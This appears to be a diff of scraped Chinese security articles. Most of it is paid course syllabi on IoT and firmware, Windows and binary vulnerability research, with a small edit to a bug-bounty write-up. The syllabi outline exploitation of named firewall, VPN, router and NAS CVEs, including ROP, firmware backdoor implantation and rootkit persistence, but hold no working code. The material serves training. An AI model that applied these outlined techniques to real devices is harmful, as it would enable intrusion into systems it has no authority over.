+根据上述介绍常见固件的解密思路提供具体的实战案例 + +ruijie固件解密 + +topsec固件解密 + +nsfoucs固件解密 + + +**第四章 固件仿真与调试** + +4.1 固件仿真常见方法 + +qemu在固件模拟中的使用方法 + + +4.2 Qemu工具调试方法 + +使用qemu进行固件模拟或者程序模拟的调试方法以及相关的调试技巧 + + +4.3 环境调试 + +介绍环境调试的相关方法 + +4.3.1 软件镜像环境调试 + +案例1：模拟initrd镜像解密，luks密钥解密 + +案例2：通过gdb调试vmware虚拟机内核拿shell + +4.3.2 硬件环境调试 + +案例1：硬件设备调试进uboot获取shell + +案例2：通过硬件故障注入步骤进uboot + + +**第五章 固件漏洞挖掘与分析** + +5.1认证绕过漏洞 + +描述认证绕过漏洞的概念和基本原理 + +5.1.1认证机制介绍 + +网络设备中常见的几种认证方式 + +passwd认证 + +数据库认证 + +token + +saml认证 + +5.1.2认证绕过案例和复现思路 + +认证绕过的常见案例和复现思路 + + +5.2命令注入漏洞 + +描述命令注入漏洞的概念和基本原理 + +5.2.1命令注入相关概念 + +介绍命令注入原理和发生的位置 + +5.2.2命令注入案例和复现思路 + +命令注入的常见案例和复现思路 + +案例1：url直接命令注入 + +案例2：命令执行后门 + +案例3：物联网设备wifi密码配对命令注入 + + +5.3内存相关漏洞 + +描述内存漏洞的概念和基本原理 + +5.3.1栈溢出相关概念 + +介绍栈溢出的原理、x86和arm/mips架构栈溢出的区别 + +5.3.2栈溢出案例和复现思路 + +描述栈溢出漏洞的概念和基本原理和复现思路 + +案例1：栈溢出造成的认证绕过 + +案例2：栈溢出覆盖返回地址的利用 + +5.3.3堆溢出案例和复现思路 + +描述堆溢出漏洞的概念和基本原理和复现思路 + + +**第六章 物联网安全之NAS设备漏洞分析** + +6.1 Qnap Multimedia Console漏洞分析(CVE-2023-23364) + +qnap中Multimedia Console组件的未授权栈溢出漏洞 + +https://www.qnap.com/en/security-advisory/qsa-23-29 + +6.1.1漏洞分析 + +二进制逆向分析 + +6.1.2漏洞利用 + +rop + +6.1.3修复建议 + +对输入的长度进行限制 + + +**第七章 网络安全设备漏洞分析（VPN/防火墙等）** + +本章选取几个经典的VPN/防火墙设备的历史CVE漏洞进行分析，覆盖镜像解压、固件解析、程序分析和漏洞挖掘等步骤。 + + +7.1Fortigate防火墙漏洞分析(CVE-2022-42475) + +2022年堆溢出漏洞,https://www.fortiguard.com/psirt/FG-IR-22-398 + +7.1.1环境预处理及环境架构分析 + +固件后门植入获取调试shell + +7.1.2漏洞分析 + +IDA逆向代码分析 + +7.1.3漏洞利用 + +漏洞利用方法和rop + +7.1.4漏洞修复建议 + +修复建议 + + +7.2Paloalto防火墙漏洞分析(CVE-2022-3064) + +2022年强网杯PANOS，请求走私漏洞+后端栈溢出漏洞+SUID提权漏洞 + +7.2.1环境预处理及环境架构分析 + +历史漏洞获取shell或者vmware镜像的gdb调试 + +7.2.2漏洞分析 + +请求走私调试、栈溢出分析 + +7.2.3漏洞利用 + +请求走私利用、栈溢出ROP、SUID提权程序分析 + +7.2.4漏洞修复建议 + +规范http协议处理、限制字符串长度等 + + +7.3sophos防火墙漏洞分析（CVE-2022-1040） + +json解析差异导致的认证绕过、perl代码中的命令注入 + +7.3.1环境预处理及环境架构分析 + +cli之后获取shell + +环境架构分析 + +7.3.2漏洞分析 + +java代码分析、perl代码分析 + +7.3.3漏洞利用 + +json编码、命令注入 + +7.3.4漏洞修复建议 + +规范json处理，过滤敏感字符 + + +7.4Sonciwall防火墙漏洞分析（CVE-2021-20038） + +前台栈溢出漏洞，https://github.com/jbaines-r7/badblood + +7.4.1环境预处理及环境架构分析 + +gdb调试获取shell、架构分析 + +7.4.2漏洞分析 + +cgi的逆向分析思路 + +7.4.3漏洞利用 + +栈喷射 + +7.4.4漏洞修复建议 + +对字符串长度进行限制 + + +**第八章 企业级路由设备漏洞分析** + +8.1 Cisco Rv110w漏洞分析(CVE-2020-3331) + +https://bbs.kanxue.com/thread-271900.htm + +8.1.1漏洞分析 + +栈溢出位置代码分析 + +8.1.2漏洞利用 + +漏洞rop利用 + +8.1.3修复建议 + +对字符串长度进行限制 + + +8.2 Cisco Rv340漏洞分析(CVE-2024-20470) + +8.2.1漏洞分析 + +栈溢出位置代码分析 + +8.2.2漏洞利用 + +漏洞rop利用 + +8.2.3修复建议 + +对字符串长度进行限制 + + +**第九章 邮件网关漏洞分析** + +针对历史的一些邮件网关进行漏洞分析 + +9.1 CoreMail邮件服务器 25端口栈溢出漏洞 + +2023年强网杯线下漏洞案例，证书patch和栈溢出漏洞复现 + +9.1.1证书patch + +9.1.2漏洞分析 + +二进制逆向分析 + +9.1.3漏洞利用 + +rop + +9.1.4修复建议 + +对输入的长度进行限制 + + +**第十章 网络设备上的漏洞挖掘高级技术** + +10.1 fuzzing模糊测试 + +基于web server等协议的模糊测试等 + + +10.2 污点追踪 + +污点追踪原理和使用 + + +10.3 基于LLM漏洞挖掘 + +介绍使用大模型来辅助漏洞挖掘和大模型在污点追踪上的优势 + + +**第十一章 物联网设备rootkit相关知识** + +对于rootkit持久化技术在设备中的使用以及相关的防御的手段等 + +11.1基于固件植入的方法 + + +11.2基于分区修改的方法 + + + + + +**·** + + +**立即学习** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibSsg2PIdUXY07dcmAGke1BP17Pm5CwdRXU1sudYia0186ibs0wfl6Kpicw/640?wx_fmt=png&from=appmsg "") + +**限时优惠：¥21000** + +提升设备固件漏洞挖掘思路和方法 + +掌握各类企业级网络设备逆向分析方法 + +提升个人竞争力，扩宽职业道路 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibPRnSicDWUI8IFy5CAlMBvGudf05w8sYvlCIulGicbicrplAazHEZXqLBQ/640?wx_fmt=gif&from=appmsg "") + + +**二、系统0day安全-IOT设备漏洞挖掘（第6期）** + + +物联网(IoT)设备已经渗透到我们生活的方方面面，从智能家居到工业自动化，无一不依赖于这些智能设备。然而，随着IoT设备的普及，安全问题也日益凸显，IoT设备漏洞挖掘成为了保障网络安全的重要一环。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibYia5ic8AdIpaKFicNzfdRBia3KN3bymwTEaETUVn2RXHLvyg8jJsmxnIug/640?wx_fmt=jpeg&from=appmsg "") + +限时优惠：¥15000 + +入门到精通  成为IoT漏洞挖掘专家 + + +**·** + + +**课程介绍** + +🛠️ 系统性课程设计，实战技能全面提升 + +本课程从基础出发，涵盖固件获取、解包、仿真，再到漏洞分析与利用，为你打造一条完整的学习路径。我们不仅讲解理论知识，更注重实战操作，让你在动手中掌握IoT漏洞挖掘的核心技能。 + + +🔧 动手实践，从0到1的跨越 + +这门课程强调动手操作，除了丰富的理论知识外，我们还提供配套的相关资料、课后习题、直播答疑和学习交流群。在这里，你将学会如何快速上手实践，实现从理论到实践的无缝对接。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibUWtRIXHkTcHaib0kg6rJmQpJW1xPToibTRl7blyYenH6rVkSHNHbjx2Q/640?wx_fmt=png&from=appmsg "") + +课程亮点 + + +**▶ 完善的课程体系：**包含基础准备、固件获取与分析、固件仿真、漏洞分析与利用等多个模块，帮助学员快速了解 IoT 安全领域。 + + +**▶ 真实的漏洞实操：**结合真实的漏洞挖掘经验，完整展示漏洞复现过程，分享漏洞挖掘思路。 + + +**▶ 丰富的配套服务：**从拓展资料到直播答疑，从课后习题到实战挖掘，不止局限于课程本身。 + + +本课程适合具备一定的 Web 安全基础，希望系统学习 IoT 漏洞挖掘方向的同学，同样适合寻求自我突破的安全从业者。 + + +**·** + + +**讲师介绍：【SecureNexusLab】团队** + + +讲师团队【SecureNexusLab】来自TOP 2院校、中科院软件所等多个高校和研究所，他们不仅在学术界有着深厚的背景，更在实战中积累了丰富的经验。提交了数百个原创通用漏洞，在漏洞挖掘、二进制安全领域有着丰富的实践经验，在 Datacon、ByteAI 等竞赛中表现优异。 + + + +**·** + + +**课程目录（上下滑动查看）** + + +**一、基础准备** + +1.1 汇编基础 + +1.1.1 x86 汇编 + +X86 汇编实践 + +1.1.2 ARM 汇编基础 + +1.1.3 MIPS 汇编基础 + +1.2 环境配置 + +1.2.1 IoT 虚拟机安装及使用 + +IoT 虚拟机实践 + +1.2.2 OWASP IoT Goat + +1.3 工具介绍和使用 + +1.3.1 IDA Pro 介绍与使用 + +1.3.2 Ghidra 介绍与使用 + +1.3.3 GDB 介绍与使用 + +1.3.4 binwalk 介绍与使用 + +1.4 物联网常用协议及攻击方法 + +1.4.1 物联网常见协议及实际应用之coap协议 + +1.4.2 物联网常见协议及实际应用之MQTT协议 + +1.4.2 物联网攻击协议的攻击方法 + + +**二、固件获取与分析** + +2.1 固件获取 + +2.1.1 busybox集成环境使用 + +2.1.2 网络获取固件数据包 + +2.1.3 非常规固件获取 + +2.2 固件解密 + +2.2.1 判断固件加密方式 + +2.2.2 过渡版本固件逆向解密 + +2.2.3 硬件提取未加密的固件或密钥 + +2.3 固件分析 + +2.3.1 固件解包 + +2.3.2 固件解包之OOB数据去除 + +2.3.2 Linux固件 + +2.3.3 RTOS固件 + +2.3.4 单片机/裸机固件固件分析 + +2.3.5 物联网设备调试接口概述 + +2.3.6 固件自动化分析工具 + + +**三、固件仿真** + +3.1 Qemu 的介绍与安装 + +3.1.1 Qemu 的介绍与安装 + +3.2 Qemu 用户模式仿真 + +3.2.1 用户模式仿真(Qemu-user)介绍 + +3.2.2 用户模式仿真(Qemu-user)实例演示 + +3.3 Qemu 系统模式仿真 + +3.3.1 系统模式仿真(Qemu-system)介绍 + +3.3.2 系统模式仿真(Qemu-system)实例演示 + +3.4 Qemu+GDB/IDA调试Linux用户态程序 + +3.4.1 Qemu+GDB/IDA 调试 Linux 用户态程序 + +3.4.2 常用固件程序执行环境修补方法 + +3.5 自动化仿真工具的介绍与使用 + +3.5.1 自动化仿真工具 FAT 的介绍与使用 + +3.5.2 自动化仿真工具 FirmAE 的介绍与使用 + + +**四、漏洞分析与利用** + +4.1 常见 IoT 漏洞类型及原理 + +4.1.1 常见 IoT 漏洞类型介绍 + +4.1.2 漏洞原理之栈溢出漏洞 + +4.1.3 漏洞原理之命令执行/注入漏洞 + +4.2 IoT 设备漏洞挖掘与实战 + +4.2.1 IoT 常见 Web 服务架构 + +4.2.2 IoT 设备 OTA + +4.2.3 IoT 设备漏洞挖掘思路概述 + +4.2.4 IoT 命令注入漏洞复现 + +4.2.5 IoT 命令注入漏洞复现实操 + +4.2.5 IoT 认证绕过漏洞复现 + +4.2.6 IoT 缓冲区溢出漏洞复现 + +4.2.7 IoT 后门漏洞复现 + +4.3 Fuzz与物联网漏洞挖掘 + +4.3.1 IoT 与 Fuzzing + +4.3.2 IOT 场景中的 Fuzzer 工具 + +4.3.3 常见 Fuzz 工具 AFL++ 介绍&安装 + +4.3.4 常见 Fuzz 工具 AFL++ 实例演示 + +4.3.5 常见 Fuzz 工具 Boofuzz 介绍与安装 + +4.3.6 常见 Fuzz 工具 Boofuzz 实例演示 + +4.3.7 LLM 助力物联网 Fuzzing + + +**五、实战分析** + +5.1  路由器公开CVE分析实战 + +路由设备漏洞分析 + +路由设备漏洞分析之D-Link + +路由设备漏洞分析之Tenda + +路由设备漏洞分析之WayOS + +路由设备漏洞分析之NETGEAR + +路由设备漏洞分析之Belkin + +路由设备漏洞分析之UTT + +5.2 其他设备 + +物联网设备漏洞分析 + +南方测绘等GNSS设备漏洞分析 + +5.3 拓展篇 + +实战物联网设备信息收集 + +自动化工具固件初步分析 + + +**六、物联网安全走向何处？** + +6.1 国内外安全社群简介 + +6.2 安全研究方向简介 + +6.3 车联网/卫星/LLM简介 + + + + +**·** + + +**立即学习** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibJviaN35Nk2jSD285IpuaiaM8B958SLcGYX4ORVgHqRicvJAicpNrj9BmfQ/640?wx_fmt=png&from=appmsg "") + +原价：¥20000   折后：¥15000 + +探索IoT设备的奥秘 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibPRnSicDWUI8IFy5CAlMBvGudf05w8sYvlCIulGicbicrplAazHEZXqLBQ/640?wx_fmt=gif&from=appmsg "") + + +**三、系统0day安全-Windows平台漏洞挖掘（第5期）** + + +Windows操作系统广泛应用于各类企业和个人设备中，其安全性至关重要。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibAics6eonjwIicuYwpmI6nmGsYQSrT0tPVTicwHYpx5iaJj6LkhrgHx02LA/640?wx_fmt=jpeg&from=appmsg "") + + +**·** + + +**课程介绍** + + +本课程将深入探讨Windows平台的漏洞挖掘技术，包括内核漏洞、应用程序漏洞等。课程内容结合理论与实践，帮助学员掌握Windows安全防护的关键技能。 + + +核心： + +1.帮助安全从业者跟进行业前沿技术，提升个人基础素质，赋能企业安全。 + + +2. 二进制漏洞挖掘技术可以帮助安全人员及时发现业务系统内潜在的安全问题，从源头阻断安全风险，提升系统安全性，有效避免业务上线后出现重大安全事故。 + + +3.在实战中体会二进制漏洞挖掘的乐趣，多分析漏洞，举一反三，触发灵感。多尝试挖掘漏洞，而不是纸上谈兵，积累经验很重要。 + + + +**·** + + +**课程目录（上下滑动查看）** + + +**录播内容安排** + +漏洞基础原理讲解 + +课程介绍 + +溢出,double free,uaf,race condition等漏洞原理讲解 + +浅讲DEP,GS,ASLR,CFG等缓解措施 + +漏洞挖掘/分析/利用职业规划 + +  + +Windows驱动入门 + +内核基础原理讲解 + +驱动环境搭建，实战开发驱动 + +熟悉windows内核模块 + +  + +从0学习内核fuzz + +Syscall，DeviceIoctrol原理讲解 + +ioct fuzz原理分析 + +syscall fuzz原理分析 + +本章小结 + +  + +从0学习内核fuzz变异原理 + +cve-2020-xxxx漏洞挖掘 + +cve-2020-xxxx内核调试分析，反推构造poc + +内核FUZZ变异原理 + +本章小结 + +  + +代码审计实战1 + +windbg+ida调试基础掌握 + +cve-2023-21768调试分析，poc构造 + +本章小结 + +  + +代码审计实战2 + +cve-2020-xxxx漏洞挖掘 + +cve-2020-xxxxpoc调试分析，poc构造 + +本章小结 + +  + +Windows服务漏洞原理讲解 + +理解rpc/com接口 + +理解符号链接 + +windows 服务漏洞原理讲解 + +本章小结 + +  + +实战分析windows服务漏洞 + +CVE-2020-1337原理分析 + +PrintNightmare原理分析 + +本章小结 + + +实战挖掘windows服务漏洞 + +windows服务漏洞挖掘方法总结 + +CVE-2024-1694实战分析 + +本章小结 + +  + +漏洞挖掘实战训练 + +整数溢出漏洞挖掘实战(作业) + +race condtion漏洞挖掘实战(作业) + +uaf漏洞挖掘实战(作业) + +  + +漏洞挖掘系列课程回顾 + +总结 + + + +**直播内容安排** + +第一周漏洞基础原理提升 + +第二周汇编分析漏洞 + +第三周漏洞挖掘方法论总讲 + +第四周驱动拔升 + +第五周ioctl fuzz提升 + +第六周kernel fuzz提升 + +第七周simpleNtSyscallFuzzer分析 + +第八周CVE-2023-21768分析 + +第九周CVE-2020-0714分析 + +第十周锁问题漏洞挖掘实战1 + +第十一周锁问题漏洞挖掘实战2 + +第十二周锁问题漏洞挖掘实战3 + +第十三周整数溢出漏洞挖掘实战1 + +第十四周整数溢出漏洞挖掘实战2 + +第十五周服务提权漏洞CVE-2021-1675分析 + +第十六周服务提权漏洞 CVE-2020-1337分析 + +第十七周服务提权漏洞挖掘方法论总结 + +第十八周整数溢出漏洞挖掘实战课原理讲解 + +第十九周race condition漏洞挖掘实战课原理讲解 + +第二十周RPC uaf漏洞挖掘实战课原理讲解 + + + +**·** + + +**立即学习** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIib5yfuPEibpx87qPrnAfghRD3x15gOOmibmFjpjiaebLyIYgsHzcBvCibE6w/640?wx_fmt=png&from=appmsg "") + +超值价：¥15000 + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibPRnSicDWUI8IFy5CAlMBvGudf05w8sYvlCIulGicbicrplAazHEZXqLBQ/640?wx_fmt=gif&from=appmsg "") + + +**四、系统0day安全-二进制漏洞攻防（第4期）** + + +二进制漏洞，作为黑客攻击的一把利刃，其威胁不容小觑。它们潜藏在软件的底层代码中，一旦被利用，可能导致数据泄露、系统崩溃，甚至更严重的安全事件。为了应对这一挑战，我们精心打造了一门全新的课程——系统0day安全-二进制漏洞攻防（第4期）。 + + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibugdVXf4EBJNf0tMqDicf1uPSfRKicTAaeV1GYXV8AWgibeXZ3aIF6wKbQ/640?wx_fmt=jpeg&from=appmsg "") + +上新价：¥15000 + +为企业构建一道坚不可摧的安全防线 + + +**·** + + +**课程介绍** + + +本课程由资深系统安全研究员主讲，专注于Linux内核、AOSP以及httpd服务器漏洞的挖掘与利用。 +课程内容全面覆盖了二进制漏洞攻防领域的多个方面，包括模糊测试、AFL原理、ASAN原理、网络协议漏洞挖掘、Linux内核漏洞挖掘、AOSP漏洞挖掘以及CodeQL代码审计等，为学员提供了丰富的学习资源。 + + +本课程预估时长为80小时，课程内容从基础的漏洞挖掘技术纵览到实战案例分析，再到课程回顾，系统性地构建了二进制漏洞攻防的知识体系。 + + +课程收获 + + +完成本课程后，学员将掌握二进制漏洞挖掘和利用的基本原理和方法，包括模糊测试、AFL原理、ASAN原理等。 + + +学员将能够熟练使用模糊测试工具进行漏洞挖掘，了解网络协议漏洞挖掘实战，掌握Linux内核漏洞挖掘实战技巧，学会使用CodeQL进行代码审计和漏洞挖掘，提高代码安全审查能力。 + + +**·** + + +**实例+实操** + + +课程 +结合实际案例进行讲解，包括 +网络协议漏洞挖掘实战、Linux内核漏洞挖掘实战和AOSP漏洞挖掘实战等，帮助学员更好地理解和掌握二进制漏洞攻防的实际应用。通过理论讲解、实践操作和nday分析，学员将全面掌握二进制漏洞攻防的相关技能。 + + +强调实践操作，教授 +如何使用模糊测试工具、改造模糊测试工具、从零实现模糊测试工具等，提升学员的动手能力和实际操作经验。学员将学会熟练使用模糊测试工具进行漏洞挖掘，了解网络协议漏洞挖掘实战，掌握Linux内核漏洞挖掘实战技巧，学会使用CodeQL进行代码审计和漏洞挖掘，提高代码安全审查能力。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibichPKyUXhvZnTz9MTmSoXjjDxT1AJUgfLxfexcG05CBNEkQIFphfnqg/640?wx_fmt=png&from=appmsg "") + + + + +**·** + + +**录播+直播  课程目录（上下滑动查看）** + + +**录播内容安排** + +第一章 漏洞挖掘技术纵览 + +1.1 准备阶段 + +1.2 课程介绍 + + +第二章 模糊测试介绍 + +2.1 模糊测试介绍 + + +第三章 AFL原理 + +3.1 路径信息反馈 + +3.2 forkserver + +3.3 样本变异 + +3.4 一些思考 + + +第四章 模糊测试工具基础使用 + +4.1 AFL环境搭建 + +4.2 AFL使用 + +4.3 AFL字典 + +4.4 AFL持续化Fuzz + +4.5 AFL闭源Fuzz + +4.6 AFL拓展使用 + + +第五章 ASAN原理解析 + +5.1 开源asan + +5.2 闭源asan + + +第六章 改造模糊测试工具 + +6.1 模糊测试挖掘命令注入漏洞 + +6.2 模糊测试挖掘命令注入实现 + +6.3 网络协议fuzz之cgi + + +第七章 从零实现模糊测试工具 + +7.1 自定义fuzz框架源码讲解 + +7.2 自定义fuzz框架拓展 + + +第八章 网络协议漏洞挖掘实战 + +8.1 webserver与fuzz + +8.2 lighttpd-基础fuzz + +8.3 lighttpd-单一字段fuzz + +8.4 nginx-fuzz + + +第九章 LibAFL(跨平台，可拓展) + +9.1 LibAFL使用 + +9.2 自行构建完整的fuzz demo + +9.3 安卓frida_mode-fuzz + +9.4 跨平台使用(no_std mode支持嵌入式设备) + + +第十章 linux内核漏洞挖掘实战 + +10.1 syzkaller-模板 + +10.2 syzkaller使用技巧 + +10.3 设计内核fuzz模型 + + +第十一章 codeql代码审计 + +11.1 codeql-环境配置 + +11.2 codeql-基础语法 + +11.3 codeql-func类 + +11.4 codeql-expr类 + +11.5 codeql-stmt类 + +11.6 codeql-conver类型 + +11.7 codeql-class类 + +11.8 codeql局部数据流分析 + +11.9 codeql-全局数据流分析 + + +第十二章 课程回顾 + +12.1 课程回顾 + + + +**直播内容安排** + +1.AFL多场景下演示-0 + +2.AFL多场景下演示-1 + +3.boa 漏洞挖掘实战 + +4.apache 漏洞挖掘实战 + +5.windows 漏洞挖掘 + +6.CVE-2022-0847(dirty_pipe) 漏洞分析 + +7.使用syzkaller挖掘CVE-2022-0847 + +8.CVE-2022-2588(dirty_cred利用) 漏洞分析 + +9.CVE-2024-1086 (dirty_pagetable利用) 漏洞分析-0 + +10.CVE-2024-1086 (dirty_pagetable利用) 漏洞分析-1 + +11.使用syzkaller挖掘linux内核蓝牙协议-0 + +12.使用syzkaller挖掘linux内核蓝牙协议-1 + +13.linux内核系统调用兼容性fuzz + +14.codeql实战-0 + +15.codeql实战-1 + +16.android经典漏洞-create_package_context滥用 + +17.android经典漏洞-webview跨域 + +18.android经典漏洞-intent重定向 + +19.android经典漏洞-pending_intent + +20.使用codeql挖掘aosp漏洞 + +21.总结回顾 + + +本课程适合所有对二进制漏洞攻防感兴趣的专业人士，无论您是信息安全爱好者、安全工程师、系统开发人员还是安全研究员，都能在本课程中获得宝贵的知识和经验。 + + + +**·** + + +**立即学习** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibhfBFxeKZ7JRT6tKibELd9oXR5977iato33MB10oFG800IKmosHH8zyhg/640?wx_fmt=png&from=appmsg "") + +原价：¥20000    +折后：¥15000 + +名额有限，欲报从速 + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibAGMYaTFey7kLE8s8J8RibcfYSx3ZMF82KOCzKxWkqE9SBX5ibmicLUT3g/640?wx_fmt=png&from=appmsg "") + +**·课程咨询·** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibKgnK1gfhZWnbJBIXP4LiaEtQcelibvDdZhCfM6UYb6W7BMttchLlXgEA/640?wx_fmt=gif&from=appmsg "") + +**万先生** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibPRnSicDWUI8IFy5CAlMBvGudf05w8sYvlCIulGicbicrplAazHEZXqLBQ/640?wx_fmt=gif&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibMb2gCbcN9djJKuniaVu1M6UKUzibiaqnmOy6R6V0eCjpodVk0CFEMqibpw/640?wx_fmt=jpeg&from=appmsg "") + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIib2GU6n99d7fH02oh0rmf28GtZkstpK3ZNRCIFibTUb1FAkx5tSYX6iaow/640?wx_fmt=gif&from=appmsg "") + +**球分享** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIib2GU6n99d7fH02oh0rmf28GtZkstpK3ZNRCIFibTUb1FAkx5tSYX6iaow/640?wx_fmt=gif&from=appmsg "") + +**球点赞** + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIib2GU6n99d7fH02oh0rmf28GtZkstpK3ZNRCIFibTUb1FAkx5tSYX6iaow/640?wx_fmt=gif&from=appmsg "") + +**球在看** + + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/1UG7KPNHN8FewYl2MAlQHldGibTNbZaIibJC0Acx3icpySFJQMzciaTzBt9z2eMibYCXJ4LaxZkQuJMMyBA403KFp7A/640?wx_fmt=gif&from=appmsg "") + +点击阅读原文查看更多 + diff --git a/doc/发现关键漏洞获得 $4,000 赏金奖励.md b/doc/发现关键漏洞获得 $4,000 赏金奖励.md index 65668f07..c1ec616d 100644 --- a/doc/发现关键漏洞获得 $4,000 赏金奖励.md +++ b/doc/发现关键漏洞获得 $4,000 赏金奖励.md @@ -1,5 +1,5 @@ # 发现关键漏洞获得 $4,000 赏金奖励 -原创 骨哥说事 骨哥说事 2024-12-11 01:20 + 迪哥讲事 2024-12-12 12:30

声明：文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由用户承担全部法律及连带责任，文章作者不承担任何法律及连带责任。

# # 文章原文：https://gugesay.com/archives/XXXX @@ -9,7 +9,6 @@ # -![](https://mmbiz.qpic.cn/sz_mmbiz_png/hZj512NN8jlbXyV4tJfwXpicwdZ2gTB6XtwoqRvbaCy3UgU1Upgn094oibelRBGyMs5GgicFKNkW1f62QPCwGwKxA/640?wx_fmt=png&from=appmsg "") - 目录 - 子域枚举 @@ -101,17 +100,42 @@ POST /FileGenerator/user/ZAZZ-SDFSSDF-ZERZE-QSDFQSF Host: test-domain-h1.app.com 1. 撞洞？不放弃：测试类似的功能通常可以发现被忽视的漏洞 +如果你是一个长期主义者，欢迎加入我的知识星球，我们一起往前走，每日都会更新，精细化运营，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款 + +![](https://mmbiz.qpic.cn/mmbiz_png/YmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ/640?wx_fmt=png&from=appmsg "") +## 往期回顾 + +[一款bp神器](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495880&idx=1&sn=65d42fbff5e198509e55072674ac5283&chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&scene=21#wechat_redirect) + + +[ssrf绕过新思路](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495841&idx=1&sn=bbf477afa30391b8072d23469645d026&chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&scene=21#wechat_redirect) + + +[一个辅助测试ssrf的工具](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247496380&idx=1&sn=78c0c4c67821f5ecbe4f3947b567eeec&chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&scene=21#wechat_redirect) + + + +[dom-xss精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247488819&idx=1&sn=5141f88f3e70b9c97e63a4b68689bf6e&chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&scene=21#wechat_redirect) + + +[年度精选文章](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487187&idx=1&sn=622438ee6492e4c639ebd8500384ab2f&chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&scene=21#wechat_redirect) +[](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487187&idx=1&sn=622438ee6492e4c639ebd8500384ab2f&chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&scene=21#wechat_redirect) + + +[Nuclei权威指南-如何躺赚](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247487122&idx=1&sn=32459310408d126aa43240673b8b0846&chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&scene=21#wechat_redirect) + + +[漏洞赏金猎人系列-如何测试设置功能IV](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486973&idx=1&sn=6ec419db11ff93d30aa2fbc04d8dbab6&chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&scene=21#wechat_redirect) + + +[漏洞赏金猎人系列-如何测试注册功能以及相关Tips](http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247486764&idx=1&sn=9f78d4c937675d76fb94de20effdeb78&chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&scene=21#wechat_redirect) + + + + 以上内容由骨哥翻译并再创作，希望对你有所帮助。 原文： https://medium.com/@zack0x01_/how-i-found-a-critical-vulnerability-and-earned-4-000-in-bug-bounty-hunting-2ce4a1227fdc -**加入星球，随时交流：** - -**** -**（前50位成员）：99元/年************（后续会员统一定价）：128元/年****** -![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/hZj512NN8jnMJtHJnShkTnh3vR3fmaqicPicANic6OEsobrpRjx5vG6mMTib1icuPmuG74h2bxC4eP6nMMzbs5QaSlw/640?wx_fmt=jpeg&from=appmsg "") - -**感谢阅读，如果觉得还不错的话，欢迎分享给更多喜爱的朋友～****====正文结束====** - - +******** diff --git a/doc/安全简讯（2024.12.12）.md b/doc/安全简讯（2024.12.12）.md new file mode 100644 index 00000000..41b652dd --- /dev/null +++ b/doc/安全简讯（2024.12.12）.md @@ -0,0 +1,45 @@ +# 